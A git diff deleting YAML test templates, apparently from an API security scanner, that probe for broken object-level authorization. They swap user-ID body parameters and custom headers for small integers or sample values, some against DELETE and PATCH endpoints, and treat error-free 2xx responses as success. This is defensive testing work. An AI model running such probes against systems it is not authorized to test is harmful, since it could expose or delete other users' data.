-id: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL_DELETE
-info:
- name: "BOLA: Turning JSON Param into Array of Params with Integer for Unauthorized Access with DELETE method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of multiple elements with Integer to potentially circumvent security measures and gain unauthorized entry (with APIs having DELETE method). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of multiple elements with Integer, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_OF_PARAMS_JSON_BODY_INTEGER_VAL_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- random_ids:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - ${random_ids}
- - ${userVal}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAModifyCustomHeader.yml b/Broken-Object-Level-Authorization/BOLAModifyCustomHeader.yml
deleted file mode 100644
index c81ede87..00000000
--- a/Broken-Object-Level-Authorization/BOLAModifyCustomHeader.yml
+++ /dev/null
@@ -1,139 +0,0 @@
-id: BOLA_MODIFY_CUSTOM_HEADER
-info:
- name: "Exploiting BOLA by fuzzing Custom Header for Unauthorized Access."
- description: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by employing header fuzzing techniques, systematically testing variations to gain unauthorized access. This method highlights vulnerabilities in the system's authorization mechanisms, underscoring the importance of robust security assessments, secure header handling, and comprehensive testing to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header manipulation."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by fuzzing custom headers, systematically testing variations to gain unauthorized access. This method exposes vulnerabilities in the system's authorization mechanisms, highlighting the crucial need for robust security assessments and secure header handling to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header fuzzing."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through custom header fuzzing can be significant. Successful manipulation may lead to unauthorized access, potentially compromising sensitive data and enabling malicious actions within the system. This method underscores the critical importance of implementing stringent security measures, including robust access controls, secure header handling, and thorough testing, to prevent unauthorized access and mitigate the risks associated with Broken Object Level Authorization vulnerabilities introduced through custom header fuzzing."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_MODIFY_CUSTOM_HEADER
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: NON_INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_headers:
- for_one:
- key:
- contains_either:
- - X-User-ID
- - Customer
- - Client-ID
- - Account
- - Subscriber
- - User-Hash
- extract: headerValue
-wordLists:
- specialHeaders:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_header:
- headerValue: "${specialHeaders}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderDELETE.yml b/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderDELETE.yml
deleted file mode 100644
index 9a5ff025..00000000
--- a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderDELETE.yml
+++ /dev/null
@@ -1,134 +0,0 @@
-id: BOLA_MODIFY_CUSTOM_HEADER_DELETE
-info:
- name: "Exploiting BOLA by fuzzing Custom Header for Unauthorized Access for DELETE based APIs"
- description: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by employing header fuzzing techniques, systematically testing variations to gain unauthorized access (for DELETE based APIs). This method highlights vulnerabilities in the system's authorization mechanisms, underscoring the importance of robust security assessments, secure header handling, and comprehensive testing to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header manipulation."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by fuzzing custom headers, systematically testing variations to gain unauthorized access (for DELETE based APIs). This method exposes vulnerabilities in the system's authorization mechanisms, highlighting the crucial need for robust security assessments and secure header handling to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header fuzzing."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through custom header fuzzing can be significant. Successful manipulation may lead to unauthorized access, potentially compromising sensitive data and enabling malicious actions within the system. This method underscores the critical importance of implementing stringent security measures, including robust access controls, secure header handling, and thorough testing, to prevent unauthorized access and mitigate the risks associated with Broken Object Level Authorization vulnerabilities introduced through custom header fuzzing."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_MODIFY_CUSTOM_HEADER_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_headers:
- for_one:
- key:
- contains_either:
- - X-User-ID
- - Customer
- - Member
- - Client-ID
- - Account
- - Subscriber
- - User-Hash
- extract: headerValue
-wordLists:
- specialHeaders:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_header:
- headerValue: "${specialHeaders}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderPATCH.yml b/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderPATCH.yml
deleted file mode 100644
index bf25a0f8..00000000
--- a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderPATCH.yml
+++ /dev/null
@@ -1,136 +0,0 @@
-id: BOLA_MODIFY_CUSTOM_HEADER_PATCH
-info:
- name: "Exploiting BOLA by fuzzing Custom Header for Unauthorized Access for PATCH/PUT based APIs"
- description: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by employing header fuzzing techniques, systematically testing variations to gain unauthorized access (for PATCH/PUT based APIs). This method highlights vulnerabilities in the system's authorization mechanisms, underscoring the importance of robust security assessments, secure header handling, and comprehensive testing to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header manipulation."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by fuzzing custom headers, systematically testing variations to gain unauthorized access (for PATCH/PUT based APIs). This method exposes vulnerabilities in the system's authorization mechanisms, highlighting the crucial need for robust security assessments and secure header handling to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header fuzzing."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through custom header fuzzing can be significant. Successful manipulation may lead to unauthorized access, potentially compromising sensitive data and enabling malicious actions within the system. This method underscores the critical importance of implementing stringent security measures, including robust access controls, secure header handling, and thorough testing, to prevent unauthorized access and mitigate the risks associated with Broken Object Level Authorization vulnerabilities introduced through custom header fuzzing."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_MODIFY_CUSTOM_HEADER_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_headers:
- for_one:
- key:
- contains_either:
- - X-User-ID
- - Customer
- - Member
- - Client-ID
- - Account
- - Subscriber
- - User-Hash
- extract: headerValue
-wordLists:
- specialHeaders:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_header:
- headerValue: "${specialHeaders}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithInteger.yml b/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithInteger.yml
deleted file mode 100644
index 8a2c6c68..00000000
--- a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithInteger.yml
+++ /dev/null
@@ -1,140 +0,0 @@
-id: BOLA_MODIFY_CUSTOM_HEADER_INTEGER_VAL
-info:
- name: "Exploiting BOLA by fuzzing Custom Header with Integer for Unauthorized Access."
- description: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by employing header fuzzing techniques with Integer, systematically testing variations to gain unauthorized access. This method highlights vulnerabilities in the system's authorization mechanisms, underscoring the importance of robust security assessments, secure header handling with Integer, and comprehensive testing to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header manipulation."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by fuzzing custom headers with Integer, systematically testing variations to gain unauthorized access. This method exposes vulnerabilities in the system's authorization mechanisms, highlighting the crucial need for robust security assessments and secure header handling with Integer to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header fuzzing."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through custom header fuzzing can be significant. Successful manipulation may lead to unauthorized access, potentially compromising sensitive data and enabling malicious actions within the system. This method underscores the critical importance of implementing stringent security measures, including robust access controls, secure header handling, and thorough testing, to prevent unauthorized access and mitigate the risks associated with Broken Object Level Authorization vulnerabilities introduced through custom header fuzzing."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_MODIFY_CUSTOM_HEADER_INTEGER_VAL
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: NON_INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_headers:
- for_one:
- key:
- contains_either:
- - X-User-ID
- - Customer
- - Client-ID
- - Account
- - Subscriber
- - User-Hash
- extract: headerValue
-wordLists:
- specialHeaders:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- - modify_header:
- headerValue: "${specialHeaders}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- - ""
- - ""
diff --git a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithIntegerDELETE.yml b/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithIntegerDELETE.yml
deleted file mode 100644
index 1acff226..00000000
--- a/Broken-Object-Level-Authorization/BOLAModifyCustomHeaderWithIntegerDELETE.yml
+++ /dev/null
@@ -1,135 +0,0 @@
-id: BOLA_MODIFY_CUSTOM_HEADER_INTEGER_VAL_DELETE
-info:
- name: "Exploiting BOLA by fuzzing Custom Header with Integer for Unauthorized Access with DELETE based APIs"
- description: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by employing header fuzzing techniques with Integer, systematically testing variations to gain unauthorized access (for DELETE based APIs). This method highlights vulnerabilities in the system's authorization mechanisms, underscoring the importance of robust security assessments, secure header handling with Integer, and comprehensive testing to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header manipulation."
- details: >
- "Attackers exploit Broken Object Level Authorization (BOLA) by fuzzing custom headers with Integer, systematically testing variations to gain unauthorized access (for DELETE based APIs). This method exposes vulnerabilities in the system's authorization mechanisms, highlighting the crucial need for robust security assessments and secure header handling with Integer to mitigate the risks associated with unauthorized access and BOLA vulnerabilities introduced through custom header fuzzing."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through custom header fuzzing can be significant. Successful manipulation may lead to unauthorized access, potentially compromising sensitive data and enabling malicious actions within the system. This method underscores the critical importance of implementing stringent security measures, including robust access controls, secure header handling, and thorough testing, to prevent unauthorized access and mitigate the risks associated with Broken Object Level Authorization vulnerabilities introduced through custom header fuzzing."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_MODIFY_CUSTOM_HEADER_INTEGER_VAL_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_headers:
- for_one:
- key:
- contains_either:
- - X-User-ID
- - Customer
- - Member
- - Client-ID
- - Account
- - Subscriber
- - User-Hash
- extract: headerValue
-wordLists:
- specialHeaders:
- - 1
- - 2
- - 3
- - 4
- - 5
-execute:
- type: single
- requests:
- - req:
- - modify_header:
- headerValue: "${specialHeaders}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperation.yml b/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperation.yml
deleted file mode 100644
index 87c75261..00000000
--- a/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperation.yml
+++ /dev/null
@@ -1,128 +0,0 @@
-id: BOLA_STRING_PARAM
-info:
- name: "Exploiting BOLA: Direct System Operation Using String Parameter Values"
- description: >
- "In this instance of Broken Object Level Authorization (BOLA), attackers exploit system vulnerabilities by directly utilizing string parameter values to perform operations. This manipulation poses a significant risk, potentially bypassing authorization controls and compromising the system's integrity. It underscores the imperative for stringent input validation and secure object-level authorization practices to mitigate these risks effectively. Addressing such vulnerabilities promptly is crucial for preventing unauthorized system operations and ensuring robust security measures."
- details: >
- "In the context of Broken Object Level Authorization (BOLA), this scenario involves attackers exploiting vulnerabilities by directly employing string parameter values to execute operations within the system. By manipulating these parameters, adversaries may bypass authorization controls, posing a substantial risk to the system's integrity. Robust input validation and secure object-level authorization practices are imperative to mitigate these vulnerabilities effectively and prevent unauthorized system operations."
- impact: >
- "The impact of exploiting Broken Object Level Authorization (BOLA) through direct utilization of string parameter values for system operations can be severe. Successful manipulation may lead to unauthorized access, compromising sensitive data and potentially causing system disruptions. Addressing these vulnerabilities promptly is essential to prevent unauthorized operations, safeguard against data breaches, and uphold the overall security posture of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_STRING_PARAM
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-7102
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
- regex: "\\b[a-zA-Z]+[-_]?\\d+\\b"
- extract: private_var
-
-execute:
- type: single
- requests:
- - req:
- - add_query_param:
- private_var.key: ${private_var.value}
- - add_body_param:
- private_var.key: ${private_var.value}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperationDELETE.yml b/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperationDELETE.yml
deleted file mode 100644
index a6f2e54d..00000000
--- a/Broken-Object-Level-Authorization/BOLAParamStringDirectSystemOperationDELETE.yml
+++ /dev/null
@@ -1,124 +0,0 @@
-id: BOLA_STRING_PARAM_DELETE
-info:
- name: "Exploiting BOLA: Direct System Operation Using String Parameter Values with DELETE Based APIs"
- description: >
- "In this instance of Broken Object Level Authorization (BOLA), attackers exploit system vulnerabilities by directly utilizing string parameter values to perform operations (where request APIs have DELETE method). This manipulation poses a significant risk, potentially bypassing authorization controls and compromising the system's integrity. It underscores the imperative for stringent input validation and secure object-level authorization practices to mitigate these risks effectively. Addressing such vulnerabilities promptly is crucial for preventing unauthorized system operations and ensuring robust security measures."
- details: >
- "In the context of Broken Object Level Authorization (BOLA), this scenario involves attackers exploiting vulnerabilities by directly employing string parameter values to execute operations within the system. By manipulating these parameters, adversaries may bypass authorization controls, posing a substantial risk to the system's integrity (where request APIs have DELETE method). Robust input validation and secure object-level authorization practices are imperative to mitigate these vulnerabilities effectively and prevent unauthorized system operations."
- impact: >
- "The impact of exploiting Broken Object Level Authorization (BOLA) through direct utilization of string parameter values for system operations can be severe. Successful manipulation may lead to unauthorized access, compromising sensitive data and potentially causing system disruptions. Addressing these vulnerabilities promptly is essential to prevent unauthorized operations, safeguard against data breaches, and uphold the overall security posture of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_STRING_PARAM_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-7102
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
